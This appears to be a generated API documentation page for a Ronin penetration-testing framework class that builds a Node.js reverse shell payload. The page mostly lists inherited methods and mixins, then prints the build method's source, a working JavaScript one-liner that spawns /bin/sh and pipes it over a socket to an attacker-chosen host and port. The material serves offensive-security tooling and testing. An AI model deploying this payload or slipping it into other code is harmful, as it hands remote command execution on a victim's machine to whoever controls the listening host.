Class: Ronin::Payloads::JS::Node::ReverseShell
- Inherits:
-
NodeJSPayload
- Object
- Payload
- NodeJSPayload
- Ronin::Payloads::JS::Node::ReverseShell
- Includes:
- Mixins::ReverseShell
- Defined in:
- lib/ronin/payloads/builtin/js/node/reverse_shell.rb
Overview
A basic node.js JavaScript reverse shell.
Instance Attribute Summary
Attributes included from Mixins::PostEx
Attributes inherited from Payload
Instance Method Summary collapse
-
#build ⇒ Object
Builds the node.js JavaScript reverse shell payload.
Methods included from Mixins::ReverseShell
#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port
Methods included from Mixins::PostEx
Methods inherited from NodeJSPayload
Methods inherited from Payload
#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate
Constructor Details
This class inherits a constructor from Ronin::Payloads::Payload
Instance Method Details
#build ⇒ Object
Builds the node.js JavaScript reverse shell payload.
47 48 49 |
# File 'lib/ronin/payloads/builtin/js/node/reverse_shell.rb', line 47 def build @payload = %{(function(){var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(#{port}, #{host.dump}, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();} end |